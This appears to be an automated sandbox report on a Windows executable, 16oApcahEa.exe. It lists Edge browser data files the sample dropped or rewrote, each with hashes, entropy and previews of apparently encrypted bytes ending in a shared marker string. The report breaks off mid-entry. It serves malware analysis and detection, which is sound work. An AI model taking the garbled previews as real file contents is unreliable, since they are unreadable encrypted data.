Preview:	{.. ... ..b.5...'.#....1.9..e.^F....H...9.......A.R..X?9.?..._.+....V4...^rh`..a.......6.\|.R..?H.o*.N......V..M%U%...q.....3..gwy.s.....6.t........E...kS.'........Q>..r.p..U..%.=...f.5I.#7.=]..a.....k.9..}'...#....XA=.HsA. .s...,U\|......z.y......)....8.+f...H../..\|..KJ.C..6b..i...\|...DR....(.k..8...\W.).O.............$uoa.;.z.OJ#W.@..O...C.n.e.U.....(._.Z..$}..".N.v...KxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\protocols.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3498
Entropy (8bit):	7.940354514511321
Encrypted:	false
SSDEEP:	48:/HgfInH8Fs3ABt0zQzzqHPKd6UJHpSqYB8QG1BuA1JCKjRbZDacTm7Hy4j52qJD:fznH8y00zizOPTUJH2Yu2jBBi7Hyi2M
MD5:	3F65E0B40482D61B4E2919FEC3E4CDC8
SHA1:	2558F8551A6C5C956A333FD748C7A9596B40B8A6
SHA-256:	A44FEC0E7944C53AAF17703321DB7BE1F41511F888F1A8D65BDED90E2E946DB6
SHA-512:	3FE39ECBF676C33F601DC3C48F90C9F4241E61DB4156063C5FDF99B050D68D7DD798EBD4EAABB9DF7813BCC85A2260BB555AE540B8D6836165A4B87DCBAE0C19
Malicious:	false
Preview:	{.. ..1..r....... .....\|C7D.!6..N...d...c..dvr...r.#dY.i...3<,@.......DV.5.=...gq.'.bA.......n...[K..?.X.3......U?.NL.......M.t..T....-..N.n.>.6jH...7jVr.:r.t..".'A.f.9.f.E.m....b......\...'."n.mX..t+..@..xV...J..O.C..w.]C.../....".v.)..QKR0.{.07/.9.O.ib.vX.k...J.[P..9..l..r^..N..j...).,._....B.0s......G..9.D.x..Mj<.L.j..F....7...W?W.&kw~......a...a..kc......?34~.8...8. .\|!......]....+.6.8....l..x..mcxB..$2....+.9)............>q...V....0.%.......7...+ ....8.f..#.K..h.....DJm.z......oc......&M...D..I..%.7u..P.....Ln.W[..A.}....v..t....7.1......c\./.,.p.PJ\|m.G:..c.g..y..........7.O91N_..K.\|.yAz.U.......6#@.;?Zs..=.H.%\|W.........e...d.vn.e.s...!.Mj-?...br. .A...g.h..4c. .V....t..2c.l......m.1`..........).y...u.7...y..h..K....].........R......_..._...T....7..Q..F...\^.^......X.T.G.Q4E.....q..3Y......-..>.V~pYI5.,..F.b...fj~..L.9f(.S..t..O._......:9..`.$...\..zC.3(.d.#......\.H......&.X....48T.C[..Dr.X......\S...L.JO.../h.K[*:@.q...".{.0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_field_data.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	218058
Entropy (8bit):	7.080062847994902
Encrypted:	false
SSDEEP:	6144:WspssPVmKdo4QjvvAKCkg2f2UBvxflw+FG1Irt:WsPxcvIFkUUJx9wDO
MD5:	33B70387BE21B74F73D667A885134C8B
SHA1:	64461DB61CB8515A83F205E49DE95228647FF212
SHA-256:	A5743DEBB6F004CBDB44D90D5EE6E03453DD6629CF437BC7D6015408A7834DA6
SHA-512:	41C62297DCAACC7C588A49BC5E75365171405AD072D2CBE5AA837D3A15B4979E43CE8D9F140BF69E8599F6F0D60964F3C6C200F7A02E0B91BD6C2A26EA009F87
Malicious:	false
Preview:	{. .c..V...?.;.....6..t...a...! ..X...b.Q..!.;$d..L.......(..."......N..S._..........,..@]f2..0....k.P?2s..;C........m........k.._E..u...jn4.M..E....".Z.ka....7..r........w..;.6..J..6.....<..?.1.+...u.Jo.J....Q0=..........p..{?l8qWt..\|.zE......[......e..?C.W.S.....4C.T%..8..4a~?..r.'..Hyd.J.......g..R..A....$....T...~..2a/.\|^wn.p7...8....."..M.%..~.Y".5.y..).2q.-....".m....w..#...B-.O...U5?......{<Y.57....$!7..p.XS.....y.&.9(~....Y...].v..X..g.....,..u......+h....m...8......ftF.H.`.7.b.r,'k..\|n-.......=...r..m.K.):....N..l...[.D..0q.?.....Ie..tA.~id..r;.....C`...N.l....a1v...-..C..uY.].$&....,Z.h..W.u... 5d...P..^.......=...a...A......iU_.s..U.!S..._...Q..y.1........j.W...0..{.o...y0...3.-..6..h..Mv. ..L._\..R..(.M#....Z?...$.$..,.\...3...p..@^.#'.5.#..(..hv...Z...6.P..4B,.J.O).W.L.m..H.H4H...h.&.......Ok.$....SC....._...&.0.L!./.mD.(...).....=.mZ.R......@......!.N..!.,HE,.9....F.#.N......B.{.`.,.Cr...C......"...D\.X.;wg..U..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_global_block_list.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4729
Entropy (8bit):	7.960906822915211
Encrypted:	false
SSDEEP:	96:kxAtAVv3niSPMshTvA00bK9V+aI9edPLZCoQ1JoE4Dl:7iVviuMmYzO/I9WC118R
MD5:	E57F4514C85368FB4F68578D12683D3F
SHA1:	F58123384628376F8D0B6BD0FFC4C451266A62C4
SHA-256:	0BD0CA5DE73079B034E0E1C77945A1D6CCE6716660E81645AA01349286316D69
SHA-512:	597FA3CFEDD75484A3F132335259E4CFA71BDB0AFA4E83956D8898470C80D1AD3574B6F6F6AA1F22C2DD40861E7F80461592B39CA55E571EEA77B4D8F2AA8657
Malicious:	false
Preview:	{.."g=,.#...Z...d.<>3.>../..^.3.....(..+..p...\.."............zm..i.O\.&....wG..zl3.............h.$...g..>7.[....).74.e.!.....Y.$.,...g..xF5.^..2b......-...t..X.=...y@..t.....M.V..}.....].\|....{"..Bu..I..U{.Yrt..f.;.?.1....N......N.^z&q/..Z.....U.$Z../..=#!...&.Y.J..ajWT +...<4..p..L..Q-Z.O..=.1.lbE.u`f..._<"..,L....i._.}8.(....&.%8&.5......Tk.a.V...'AS.........7.....Vy.....)...d..7.W.....M.('...[.9..R!..=.)...=I..7Z.h..Z.J..<.N.1....D.....K...pT..^..T...C.Y..P.p....z.....e..x5J....x6..}2.T..J.-.L...........>..^}..a].2.Iix.......S..C.PAz1.=.q...4. ./.r......LM...^n..>..d.e3.q.KR.....{.... .>....{l.S.Te(.Y.....H.n^..J6.U...1.F".....b..M..'.&Q.T2...Q..#.......tT....W).3.....z...e7K+o.'.."..O.........d...-....j.%._$!A.$.g^a....6U.....K.YL..j....d.....di..u.!z...)b....r...o.#........$....Z...A..../.i.{.\|.<....Ue.....z..:....F.<....eJq......."E../@.n...;.....jI.u\.'.^x......&.'=.L..q.F..._(.tea....9ZA..RT..y.......UD.r.y..Bm..H...l..Yt.{.F;...V

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.37178939535172
Encrypted:	false
SSDEEP:	12:kvyTp2vA3RRBbF4NE3dujgcu0MVo9M2cii9a:kUptXBbCNMOgcoo9pbD
MD5:	85DBD21B19275355DF0E5D79F4FDA645
SHA1:	7ED8E2F9570386B7C60EAF28107F7F977CF181D1
SHA-256:	2CD5B34B7DEDB3A48AAF87884A91BD418896861E2650C74970727309A22398AA
SHA-512:	F4BB0F93774171016C63DE5D2375C6E0C503A0919E9BC33E075517CE499E9E7B16D1CB6929734D9D8B42EE9E30700BDCB336BE6EB1D4AFDDCD72C74267519F81
Malicious:	false
Preview:	1.1ED...D...x..:"..d.5g.'....&\|6a.9M0...!i...e4..V..... .A#nC...?.a...O.`........Y.@.<0.nb..l..>...t.]....:.<%4...;.........g].(+OL...3q...T.wwU.e.._.....FP.J.w.%.V..g.*....8.,5:./..........R...1E...3H.H....}.......5......k.rt>.M...."%........(>Y>.X.....I.......2g..R....q..v............wy0QoD...+..>....P>d....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.3862960057828335
Encrypted:	false
SSDEEP:	12:M09eI6gBfmb0Ol8qCpwWNZzNEmHLk6eAhk9M2cii9a:MArFmb0aCpwWvNBHA6eAG9pbD
MD5:	9311D845980DB549263F27A5150741A2
SHA1:	2D1831B4DD41063C368A1E2A9FE6621AC683D5FE
SHA-256:	4E127462A8E59F881F6B6124982CC0799D7F98BF4FD6B42EC7590922C29E0D27
SHA-512:	324BE0B4F4B2B799813CE3C5ED96BE6D457ADAF0C4B6A584500B0455C25051F3AACAF45747A9D3FAA83A7F9E9ABDC989EBF48E62F324FE9B4C959B7653CD3746
Malicious:	false
Preview:	.{...."...o0z..>..3..ZUp...3...c...eV%..H..k..O.z..R..1}....X..f..=._..1I.X..A.t.?t[nP......!dv.....J......).v.....O...j..Z..Q(e.X.mn.P...]+B.afX.O.W...J...cu..#A.....2.._O.6.S.po...X'......^~^.x1.........p.-B..B..X..h....0.U8.C4...9Zi'A.lxx..4.9vh...P..4'.6.s.y...^.B.....K.P."......"i.....D..{Ye...vP..X...p%xE.u}d.....l..D.F..().`..&..1.+.@.....eOt..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\regex_patterns.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	534
Entropy (8bit):	7.596726510758527
Encrypted:	false
SSDEEP:	12:vR92SFyHqSTNcBT/nGTMLaQCjr2npVkhcXrLxam9M2cii9a:vRVFQqETM+QCunpVkhcPxam9pbD
MD5:	855A738BE4AEC43D757E91A9004E6E32
SHA1:	3DC9BFCD7069FC6B7DE044BDA96FC93682690A62
SHA-256:	4F3179FC409877D7B42424DBADC355818DBFC4DC60EE5DFDA77F0ACC2BDFBCBB
SHA-512:	DA07A43F825795EADA57C63B3FA3EE3B30AFFBF2149C07105B1B8F92DA9FB284C027471EF3B61BB32F62507181DDEBD2031611B14DEC4FC9BC301A7171736E9F
Malicious:	false
Preview:	{. "c..v...N.1X....I..I.gn..Kc.$.......X..u9Iv.G..a.$.t.3O/_.^U.GF6.".a..3.(..T.]............u.Wkp0..u.im=.....[n....Hd.......u}.9....9...o.....v...PF..I....&pZ....7w..B.iz{.....]..7...pP.<.@.....\.......5>.[.G.&.-.....m.6..9&..........}{3.W.~Q..4%.......*.W.BQ..e...D...>R...K`...o...........1v.....8.O.?.a.u.E..5_.C..Y1o6q.0\./.C..8.&j....O..........J?t......v..u.."..9..=S.....G..!.02.C..+..p..T._.!.C.\|k....:....U9M,.p.......N...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	520142
Entropy (8bit):	6.027894423273242
Encrypted:	false
SSDEEP:	3072:giDpKPBaCkCQMHei1URfWwi8uF5oYvNqEE+KcNhOKi05J7Eb4:gioJaCkCQM/Rwi8+qEEyYKiGu4
MD5:	829AC343CFEDBD77209D7FEDC16257F4
SHA1:	5CC6EB3A20B5B1324755DEBF74ADE273D8CA5C7A
SHA-256:	86C81339E0D97255B61EFC05EB1036BD90AD59BB6BE80ACB20C89FDAC72F3E1C
SHA-512:	F757B3E308A14AAFD4DE33AB18EFAA365FF7FDE38DDD2DA6F531670E619C5CBC1D88CEF1EF00F62DC0267BF60CCAD5D19778D24C6D3C24A69A737C86EB343DBD
Malicious:	false
Preview:	{. "(B.c=.[.........@UZ.Z..SA.}&3...6.&d./.&f...1.;..w\...\|...W..I..V..}..t.....L..]W.......t..E..2....Q.v.`...1.........w..G[X-...p:.Z.......MM..k7.... ;.j.<.w5.0.w.~B'o..o.=..........`7.3P.8\.l;..`N.v....G.....`..]...[.pe..x`^../..\|..{....!..j..\..G.......EW...%N.y.lP..N_s6..<@R?.....}Z.=.ZLn.L.R.8....1M.....<$....8R....=.s3.^.Gh.......u=...........R.].d...(.X..o.U.#.....9..WU... R\|yf0G."=.-(D.h..p.x...........ug.-=&.cI..W...%9Q......4tx..\|.ZVXf.......Y....q:R.....<.P...YJ.U>..U.......y...:\.S.1..z..".>.5._......`......%L....?...6=.tvA......:..[..Z.......{.....?{M....[...9.fc.O...?F..L:..6......4....<..G.... .<.c.9..gn.}.d.p9.N.....-.V...x.`W...L..D.2.Z.&.....0.....o.n....ZLl.,b.@.~.Ci./.kG.7...6...).....7sYo...R....I` Y...=..!....RRO[.BIj....gs.e..l-....q.~.R.%...].jJ.\|y'C...R..R.......gU.^...lP..+...@Z+f.f.G.g...^y.-V%.2..r..a..3.vEf..+1\0..B........o\|-y.......M.[..=.....{..H.B.E=........O.o.^....T..S...E/..o...F.z....+k..,....Ef.4

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185345799745483
Encrypted:	false
SSDEEP:	3072:fIF2N+8LLEiyhR61PM6sIJoj6qlDaeruSRHXpssPiU6ZCTMKgrYsF01TkNy:fIEp4pSMlIJG6qlDaOZU6M9Ys+1TkNy
MD5:	7D660025F96EFA9814F988D84CC41F43
SHA1:	F968D3015EFC2785DCD91CC11D0F2E38737E13EC
SHA-256:	0E9048645842C8E87953F7F672086FF400E28DB223132A7551D5599CCFC793B6
SHA-512:	DCBC6667E024FB84BE13BACC75DB05698302FF6D12B4610F184D9663634EBF09EFC3709B38EB77B0AE62C3459B88093C5EAD40833F14C12FFCEAA01C3B739239
Malicious:	false
Preview:	.....b.F..h....c....\....K.a\.%^....$..O...M6....4.'.:..X-.s@n...+.%l.S...m kp..YG,..a`..'7..?i...I.GS..t.7f.,...\|..........l.u..A.]\. J.z..%..`.xPx..v..T.;..x......M..LX!.....BtAI..2.].N....Qn1....q..R...c....;...q'......h....l.xW.Ok.+L%..0l.......&H$........J.......<s_?......v..I..9Q....i...y...G...,p;..C.q......KU...Z.c/.S.X..LK..n.(}.....7.G,.R.E.l....n.&4..Y.v..`.}.\|I..D...m._.z...q..c...e.4.q.....(X.w.)n.\|.t....k.E.p.4.....:.?(.8h.....L..$.....ha!...h..0.SgW..... dz.h:k.m...%h...Q...C5y.......&......4...4..CT....3.L.?....`...!K..N....V.;.%...\|...7h.`a..k...T8u.....(..;T].....-...1.k...W.0-l(O...MQ.sR..r.<g...v..Z..0.]J........6%T;...aua...e..5A..(!....(..g%=.1...oM.;i.!a ..S..rS....f..('.........p..y8.xp..C..-'z ..."-.....Z....Y.....y_. ..z..bg...O...].q........T..q.cK.a..$.]..T..\|...)n2.OE........9..H.;dj.....igL@.P..5.pm[..y...e..[..P.<btv(r.......7.:...[..f..N....0..7I.Yg6S..`n.....n.bN..K.f..b...V....m.e)...?-.r...5..W(..>....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.426475152804035
Encrypted:	false
SSDEEP:	6:SWc06yNysCvCB50uXogkufYarw3VKqtHACnHfiNyizFXMiLS/9Hs2xcii96Z:F6yktvCXYarwFeC/iNlciM9M2cii9a
MD5:	A0C63F1EC3C322EFD32E2C3203B322F6
SHA1:	A3955E39A3968D0D4F538183A64E2F078F1C7EDF
SHA-256:	4814F127E02CA552C712C8312F5C6028CDDA90B6F17D81C786ECEF942D2BA326
SHA-512:	DBBF423DE577063A46CC339F8CA4AA380317A6AB5BB5351AA0A3951630981CDB4A5AB39CCCAF1A935FBA9084FAD1D14D9E8A9E6A58F147F08718C7E88E54FABE
Malicious:	false
Preview:	1.44C.(<......../...g)K.M[m.....B...S.7e..C..._E.....rLr0r....l.\.95.2.Kh.P..........r.....$.+R....)..t......l.{.i.7).c.mE.....K.....7.}3.......5e..o....m............v.I.(&..H....t...........zu=...........XF`..F...5W"B...i.>>.&.W.",..<n;.tx.+s..n9....F......[Kzj..^....@z.P...$..a....#Y.......{.p1...X..fxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.469885422230249
Encrypted:	false
SSDEEP:	12:51WgSVfg13wQO0pmlpb+S7MnopoWKyykVeoPejJ0s9M2cii9a:HWgSqJE+S7Mnop9Jk68J0s9pbD
MD5:	6DCFB75EA278721D63BF8974CB324E76
SHA1:	B857BBE124A7BDCDD440F5D7E6C74CE1DADACC27
SHA-256:	8E7F4721B60AA960043E74F8347F0A940F3B9B93331A48AE76672E6C64A67E55
SHA-512:	53390621B10056EFC034AFFB47D3747CA02CD67EC44F40EF4FB65DD13D122DEF84AB0B87BBDCB8D25DEC50713C6C34E6BB1AE9B35F38A8395488E6DCF7171B4A
Malicious:	false
Preview:	{.. )./.>........P......<..`X..\...PC\|S).Q.A-f.....1....?l ...5.8x..`.C....p...c] ..U....\..>..U._2..+0...#{~..Z....h...J......-Gm.F.5.X.1.X...s.Q._..vxlR........{/..P.v......$1o...)k...i.........1.G........3..TB.N....s..=.~...YI.L6v.....n.F.....'..8.5.t../.pi...smkd.=..{........S...b.R.~...Pd..&Y..M.}S3............PyzVx.?..`..xa...rJV.R!.v.<.8.F.....#xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994344713447478
Encrypted:	true
SSDEEP:	768:pxcp+hwl7q62dxZmo1nl08bHfgHBZEWr2wszmtyMe:pxclTmDd1l08b/CZGwTEMe
MD5:	DA70079A1D393B49FB7FAEBD5898EAAD
SHA1:	994D20CB35D1790EFCDFF227ACE01C3E56ADEF78
SHA-256:	EAD85AD68DFD523DBF4C25CF21D81A830A5E8B8B48F9C9481BAE8B74B98EA9D1
SHA-512:	5B997F031EF4AED883474550A007E3A4DAAF4BCF1041C5AFF6ACAFFC7898700834516BDFF42255E26162E6D91EC98ACE166D7891990ACA3BB46BC434863FBECC
Malicious:	true
Preview:	SQLit.t.i..<.+.h....Y..:a.Y...D...%..GY..........m..'.I....,.y....6..c..Q.i..=l?$.......W...($.\|.../..%$-lo...!x^..F.:..3Lz.....<.j.w..j..{[. .6..{...BM60 .U.=E........%.W.Qg.a...HY..8Z....x.&=.g>2 .\~i....k..o B8Yq..T...f...W.....<...R..0..0..=..3Pz.%..ev?`..U...?.....xf.....y.....\|M.#.p......(.w..UY.?.M..t..'O.....<Ntb..6.....9.i.R.6...=.N.......;....,..(..D._....C...k....[.9..=.1+.. @.......f.(..z...)+......T...sj`..4.<..j./H...0.........S.{..!.....J.:[..F7...".z.XC..X..A:....}S..9...0.U..B.#3......c.0.QMv..l4.,.0..L.C..8n....>..Sg.F..QC.O.M........F.I\|ZN.1.a...."....c.%.0,nO<......~......-g...!...e'.hIt........^..N.....]..H...&...2.Q...e.nD.9.hp..1.X..[.j]5.S... ...R.LX....s.[..i/..2J...[....-..:..._.]....Wr.>..e.~..KU...'..s.@!......Iw.;...V=..-.i.....:%`.]...y..mU..-..;"Y1L.........?<.-V`..e.....h..Xd(.......N4....hb... .b.......}i.$.............7r...!..z.[I.2.gE...7.}z.3l.Y0.q..3..3.)........m(.z.....<..ojt..>...Ya..r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.988776963548033
Encrypted:	false
SSDEEP:	384:zWGcGAkm1LoruPecdfkwo8Lpl152VvK0qHjYCiRF8m0Nf4/LqYt6ObH8cSTAK:ckIL/fqN8DbQinHjYl8m0Nf4D2ObHW
MD5:	F69F5080E4C31560CF06BB8D435BF31C
SHA1:	B0282D2A5F595845C3AC755133EF67C5833A9503
SHA-256:	DCF035940B46FBC8CDBFA8863D870A923B1FF62E550F1FA64ED95C0AD7BD99B2
SHA-512:	693C6AAC3AA8CB99D08F17BEE14172A66A523A769ED8087A08DA05E21C422D24275371BDB4FA981DA23DBBC8F9245F803FEE28EB061331F92F0AE2CF435C2048
Malicious:	false
Preview:	SQLit>.V..>j..{B.m..{...$k....7!..`......J...=U...Z.T..=.d......'...\|..<...jw...1...,p.jfx7.. .,..xoY.tK}^...h..];......uY..1..[.. gH$DW....A..#X.".&.@..k...(1..SmX.&....9L..R0.en)~....e..S.g..`.+......P9T...l.\......^y.E18..^{.-Z.#J.Q<..C.s.@p.`....r....i.QW.L.l..)./^w.P.o7es.V[.0.7.]X.W....:.,.d..,T.?O.a. d<\|..$5...`<.._TW]Eq.0.).~..'..)......;J........t.ai.S..bMZ;....../.`.../c.b..i.I...@3m=.?-.]}O.Ptt._.."...b.n...}z.......?\|x.?)......k...s3...L....y.D......~......Z.S.....8=J.it..(<.3..I..c.x..6.!..j.H.Na.,y...V+...,...1Tov.Qj<.A..!...)..x...7........,cp...,e.....lw."....&..=. ..4...fx..(..%F../.SiO......,..Ipy.=.O5Lt....).l..E%..pD..\|X...X~..X.p.82?...=..... .c..P.%.,....x.._......*.k.......E......(a8.N:."..A..J.@uyL._..6.Y....~uf.C.v^.I.Z..h..K).}&...O.wST..+n&exc%..C..\|......T(B.n....6....'.....Mk\|\..y.....dc..q1..,'........w..Z.N?..5.e&.C...f~.V...(4.tN.t....d...@.M...J....X.$.W.Tw.C.u%.k3M/t.5`.\|lx.m....c^[1.........@..T.h.h=.a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.5335136446863205
Encrypted:	false
SSDEEP:	12:qEMkAhDZSS8hocToS5dsOs3ERASEz5mjEm5f14ZxZEKs9M2cii9a:NvAJl4oS5dsOfG6jEm5f14ZvE39pbD
MD5:	A7D1DA58E46FA084466E6A0B66FC117D
SHA1:	C43FDF61DF2105297F8DF7A129610647E85795DA
SHA-256:	45DCBB05234917C29C9A0B6EC142C12791BF3AAF56AB3487710FFDB2D1B008D3
SHA-512:	2AD4E0AEEA148429493AE28E9901775A20990D89E118FAFA35295BB87CD484B5891A7C7C865EBA7E0454690B5E433ED4072FC1F9326D55B0F9FB2EF75050D337
Malicious:	false
Preview:	.f.5..\.y.F.[.L..[f......b!./....xxK...?y.2.!.v.b.Y8.Q%...a'EwF.........b.ew...v5]......o.J.!nP..~...}}(.q..v@.;....A....NB.l{..C.Kn.9....A15....K...Z?.d.R..S...b.3.P...CX.@..1 .D!q....h..Ll.....;.c.<.x..`..[&....2\e..\.B......N..F....R[..#..W....A......>..):.....\|%....N9D.K...\|..r.6.'*...x.f...+.zz.B...H...J.Fz....F...^...s.-....3(.."...d._4...k.1.j...DxL5..\|.Od....N.N.J......m#n..=..'n....)...SRq..{]......E..<...<../Px.;...@8...]v.8..v..Z=r.r_xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.645977326512951
Encrypted:	false
SSDEEP:	12:kKyK+g7zQNLJlv3mC9UXNrTBa+RUusPVYQ37hgcRy9621nRR49M2cii9a:ajkcNPyseQLhly9K9pbD
MD5:	76194F3862F8337456922797692DBF8A
SHA1:	02192EB0FF72607C149A88D0FBA9E1F87734707C
SHA-256:	738EC5D0CEE34E8F531206B943AE6EE63B111BBD0D0300E78EBF7F5DC8C4E033
SHA-512:	1DD58F204186ACCB7228D114BDAB8A7E9A493B20087278E2A6D6397231237D31A864D957A783A39310B0E1DAF045FECE4025428FD51636785232195F1D24BCE9
Malicious:	false
Preview:	2023/y.<..{v.:..h......e.5e.A.\|j.>Y.+)\|.....n..:\-.sA......h/w.7o..P9.l.7.B.kQ..x....`.k......5b@.....8[.S.4(.3....aR....^...L..-.,..........V.\.Z..O.-L..<.;.q..-.U..K?...;.Ts..H...9.........M..l.."x..=2......t..]....[)....>.".s..8.....6...<,B.`..7 .k'N..q.[k..[.0......$C!..B.H..}.e....<....S..5....n~?m...>.L......bet..X.h..0.<..A6.{.y7....".2YUpP.3."..2...~..;...D..b.......L...}.l..p...2....1ZHnc..WrT<@S.b.z....H`....eu.......6.P%Z".......>.o.^.G.T.&.8G...^.....1.d..J.?2...'J.v.=.;.Y..m.......r.\|]..js..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.516022775290267
Encrypted:	false
SSDEEP:	12:qSci8PL1EcgDJo18faGnEryxbg/IuFYVcCT3PCIwL1E3V9M2cii9a:paD/+61dGnE2FgwuFYVcCDPBV9pbD
MD5:	93E9A1708655704307C39ED1E739F967
SHA1:	B0CBCB670CB0FEA5DBC67B8E39CB65448D3896E1
SHA-256:	0FA2AEC38FE35D353E489B0DE404CD6CA7BC349C8371915654F4E098BDE4CFD8
SHA-512:	CFC4CBC161857521D3B611A7EB74580DDCEAC2DA74E74EE4B3CF74F268D6CE71850065B9C6D92017E3AC708B4E7B3C913FE55F9724ABB8FB2B80C4C2BEDEC4DD
Malicious:	false
Preview:	.f.5....2^...Z..@H%\.\|.pI..T6./.... .\ .......f.b.C...w....z..i>.q....C.....J(...bJZ.'.v=.\|...'....7.'#...&N...4........l!..(.a]HKx..{.....&'.x.{.#..(j..TN.p.u..1.PY<E....9...-=.).W...U.>@X.......?.h....os4..r.)..d.Iq.9.C.Mp..`.4+#.ez..=...Fx....\k.0I..s0m.`...O}+C5..e.....[..~.YJ8..<...W.>.ojZP._.9..s.v.x......*P...bw.v.n../......'......p&h.....b...R....p.B...9......{B.....jXh.j.1[...N(c....>.c.Cen.7....d.7++........}...........mJZo.[{.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.615092416016189
Encrypted:	false
SSDEEP:	12:kcFFHozUriEo4HoyvDbasGjp3kppBtn2m5sqqwM/MqjSF9hoC9M2cii9a:nFIPEf9bkjSPbqwsMLr9pbD
MD5:	67EC3C13530E5B48F87E71848FED4FB3
SHA1:	CDA7953AF40310C9F51371256D4D8CC1EB19B110
SHA-256:	B80A7834B72C34E00A350BBD259FD0BD9EDEFF84B88A4D687E0214C5AC3BBC9A
SHA-512:	5CA5EF4BA52A0697990A5DC1BCB9E415FE284D70283FF588987D109CC1F0987061C8129D6BBBEB853544AAA97B62BAA0A7CC62BEEC67F15B158C43C446C9751E
Malicious:	false
Preview:	2023/.6..E.f.QD....(oA..0......\^.>py....V%....R=.\|IZ....AF.2..._. .uNB?n...'T..-..{..D.e........_&P2z.=8. 4o.....i'.P.x4.A..V..-....w.tR...0k.N....X.%!TK.. v.9\.T.^..Y...B..........x5+.\5rJ........eU.6.G...a.b.wp...{h5..".].....x......l1...vc.b.c..G.....k............5%d./(b...tE..O....4.g.s..O..Q....A.K.M7-yH.'..).]=..~...l.(.1.h.i...i\|Q.J...6S^...........:..k..L..L..G..+...C.E.y2..p.*..?j.Ht`.pc...nn.S..P....a../..Kv;.^^;.....6....{a...+\....".wJkqCy..q....e.c.h.....o...S....G..OP..\|..S7.,H..q.......V..%A9...<..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.795002392292996
Encrypted:	false
SSDEEP:	24:VgOTCSg9k81CX4gASVeKU+vOUH/Uz9pbD:VgE94gAS0Kv2Us5JD
